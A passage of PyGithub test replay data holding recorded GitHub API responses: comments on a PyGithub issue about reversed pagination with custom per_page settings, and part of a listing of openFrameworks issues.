ngn33r/repos","events_url":"https://api.github.com/users/engn33r/events{/privacy}","received_events_url":"https://api.github.com/users/engn33r/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T16:04:34Z","updated_at":"2024-01-06T16:04:34Z","author_association":"NONE","body":"This was still an issue with v2.1.1 but the fix above worked for me :+1:\r\n\r\nIt would be great if this could be fixed in the library itself, with an example showing reversed usage in the docs.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879763065","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879763065,"node_id":"IC_kwDOADYVqs5wCuh5","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T17:34:11Z","updated_at":"2024-01-06T17:36:10Z","author_association":"COLLABORATOR","body":"I'd be surprised this does not work, there are some unit tests that cover this. Maybe test data have to be recorded again. Reopening, contribution welcome.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] https GET api.github.com None /repositories/3544490/issues/1136/comments?per_page=3&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96b8b7b7d4b0d49be94be5c2cc20e610609885e3e1f73c2d6458eb7d33286eb0"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9AA:1F911C:EBB04:ECE9D:66004EBE')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2016818677","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2016818677","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2016818677,"node_id":"IC_kwDOADYVqs54NjX1","user":{"login":"engn33r","id":6261182,"node_id":"MDQ6VXNlcjYyNjExODI=","avatar_url":"https://avatars.githubusercontent.com/u/6261182?v=4","gravatar_id":"","url":"https://api.github.com/users/engn33r","html_url":"https://github.com/engn33r","followers_url":"https://api.github.com/users/engn33r/followers","following_url":"https://api.github.com/users/engn33r/following{/other_user}","gists_url":"https://api.github.com/users/engn33r/gists{/gist_id}","starred_url":"https://api.github.com/users/engn33r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engn33r/subscriptions","organizations_url":"https://api.github.com/users/engn33r/orgs","repos_url":"https://api.github.com/users/engn33r/repos","events_url":"https://api.github.com/users/engn33r/events{/privacy}","received_events_url":"https://api.github.com/users/engn33r/received_events","type":"User","site_admin":false},"created_at":"2024-03-24T13:58:57Z","updated_at":"2024-03-24T14:00:06Z","author_association":"NONE","body":"For reference, I did not set `per_page` so I was using the default of 30 when I encountered this issue. But I was testing on only one repo with over 30 issues. It could make sense to test with repos with different numbers of issues to see if that is a factor.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2016818677/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] https GET api.github.com None /repositories/3544490/issues/1136/comments?per_page=3&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2da0c87bcdd4e81333c2bcff3919dd02c1f530d83d1f8b34300ce6bd4fcaea47"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9B0:1444A0:581646C:5894CA8:66004EBF')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2009839192","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2009839192","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2009839192,"node_id":"IC_kwDOADYVqs53y7ZY","user":{"login":"etiennnr","id":36542216,"node_id":"MDQ6VXNlcjM2NTQyMjE2","avatar_url":"https://avatars.githubusercontent.com/u/36542216?v=4","gravatar_id":"","url":"https://api.github.com/users/etiennnr","html_url":"https://github.com/etiennnr","followers_url":"https://api.github.com/users/etiennnr/followers","following_url":"https://api.github.com/users/etiennnr/following{/other_user}","gists_url":"https://api.github.com/users/etiennnr/gists{/gist_id}","starred_url":"https://api.github.com/users/etiennnr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/etiennnr/subscriptions","organizations_url":"https://api.github.com/users/etiennnr/orgs","repos_url":"https://api.github.com/users/etiennnr/repos","events_url":"https://api.github.com/users/etiennnr/events{/privacy}","received_events_url":"https://api.github.com/users/etiennnr/received_events","type":"User","site_admin":false},"created_at":"2024-03-20T15:24:15Z","updated_at":"2024-03-20T15:24:15Z","author_association":"NONE","body":"Can confirm this is still a problem for me, using version `1.59.1` though","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2009839192/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2011931389","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2011931389","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2011931389,"node_id":"IC_kwDOADYVqs5366L9","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"created_at":"2024-03-21T10:55:14Z","updated_at":"2024-03-21T10:55:14Z","author_association":"COLLABORATOR","body":"Can you confirm with latest release?","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2011931389/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2012384661","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2012384661","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2012384661,"node_id":"IC_kwDOADYVqs538o2V","user":{"login":"etiennnr","id":36542216,"node_id":"MDQ6VXNlcjM2NTQyMjE2","avatar_url":"https://avatars.githubusercontent.com/u/36542216?v=4","gravatar_id":"","url":"https://api.github.com/users/etiennnr","html_url":"https://github.com/etiennnr","followers_url":"https://api.github.com/users/etiennnr/followers","following_url":"https://api.github.com/users/etiennnr/following{/other_user}","gists_url":"https://api.github.com/users/etiennnr/gists{/gist_id}","starred_url":"https://api.github.com/users/etiennnr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/etiennnr/subscriptions","organizations_url":"https://api.github.com/users/etiennnr/orgs","repos_url":"https://api.github.com/users/etiennnr/repos","events_url":"https://api.github.com/users/etiennnr/events{/privacy}","received_events_url":"https://api.github.com/users/etiennnr/received_events","type":"User","site_admin":false},"created_at":"2024-03-21T14:02:22Z","updated_at":"2024-03-21T14:02:22Z","author_association":"NONE","body":"Yes, Just tried with v.2.2.0 and got the same result\r\n\r\nHowever, my \"global\" `per_page` setting is set to 40. I tried setting it back to the default (30), and then it actually started from the last item of the `PaginatedList`! \r\n\r\nSo this actually seem to be somehow related to how the `reversed` algorithm deals with a different from the default `per_page` setting.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2012384661/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] https GET api.github.com None /repositories/3544490/issues/1136/comments?per_page=3&page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"57c5d41745d1850a5668491fc82543958ec801d97e5eeb55f7f8da49da691fce"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9BC:7F0BF:891A4:89D38:66004EBF')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-520169504","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":520169504,"node_id":"MDEyOklzc3VlQ29tbWVudDUyMDE2OTUwNA==","user":{"login":"stale[bot]","id":26384082,"node_id":"MDM6Qm90MjYzODQwODI=","avatar_url":"https://avatars.githubusercontent.com/in/1724?v=4","gravatar_id":"","url":"https://api.github.com/users/stale%5Bbot%5D","html_url":"https://github.com/apps/stale","followers_url":"https://api.github.com/users/stale%5Bbot%5D/followers","following_url":"https://api.github.com/users/stale%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/stale%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/stale%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stale%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/stale%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/stale%5Bbot%5D/repos","events_url":"https://api.github.com/users/stale%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/stale%5Bbot%5D/received_events","type":"Bot","site_admin":false},"created_at":"2019-08-10T18:16:46Z","updated_at":"2019-08-10T18:16:46Z","author_association":"NONE","body":"This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879739410","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879739410,"node_id":"IC_kwDOADYVqs5wCowS","user":{"login":"engn33r","id":6261182,"node_id":"MDQ6VXNlcjYyNjExODI=","avatar_url":"https://avatars.githubusercontent.com/u/6261182?v=4","gravatar_id":"","url":"https://api.github.com/users/engn33r","html_url":"https://github.com/engn33r","followers_url":"https://api.github.com/users/engn33r/followers","following_url":"https://api.github.com/users/engn33r/following{/other_user}","gists_url":"https://api.github.com/users/engn33r/gists{/gist_id}","starred_url":"https://api.github.com/users/engn33r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engn33r/subscriptions","organizations_url":"https://api.github.com/users/engn33r/orgs","repos_url":"https://api.github.com/users/engn33r/repos","events_url":"https://api.github.com/users/engn33r/events{/privacy}","received_events_url":"https://api.github.com/users/engn33r/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T16:04:34Z","updated_at":"2024-01-06T16:04:34Z","author_association":"NONE","body":"This was still an issue with v2.1.1 but the fix above worked for me :+1:\r\n\r\nIt would be great if this could be fixed in the library itself, with an example showing reversed usage in the docs.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879763065","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879763065,"node_id":"IC_kwDOADYVqs5wCuh5","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T17:34:11Z","updated_at":"2024-01-06T17:36:10Z","author_association":"COLLABORATOR","body":"I'd be surprised this does not work, there are some unit tests that cover this. Maybe test data have to be recorded again. Reopening, contribution welcome.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testCustomPerPageWithGetPage.txt0000644000175100001660000120005214756101563027155 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues?per_page=100&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '326617'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 11:03:21 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"e04ce5dc75d825e86180fb3da5e1f5b1"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 11:04:36 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1385","id":5447789,"number":1385,"title":"ofOpenALSoundPlayer.cpp vs ofxOpenALSoundPlayer.cpp ?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-07-05T16:29:56Z","updated_at":"2012-07-05T16:51:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now we have two OpenAL based sound players in OF. \nOne is part of ofxiPhone and one is part of the core.\n\nJust curious if the core ofOpenALSoundPlayer.cpp could be used by iOS and if we could drop/merge ofxOpenALSoundPlayer.cpp ? \nSeems weird to have both.\n\n@damiannz @julapy what do you think?\n\nTheo"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1382","id":5436804,"number":1382,"title":"rename ofxiPhone to ofxiOS","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":25,"created_at":"2012-07-05T02:48:59Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"think it might be time to rename ofxiPhone to ofxiOS.\nits one of those things that consistently bugs me every time i have to create a new class beginning with ofxiPhone.\niOS has moved beyond just the iPhone and i think the current naming convention can be confusing.\n\nthis will involve going through and renaming all ofxiPhone classes and adjusting all iOS examples.\n\nplease let me know if anyone has any objections to this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1379","id":5425486,"number":1379,"title":"iOS: iPad retina ofGetWidth/Height are 2048x1536","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilder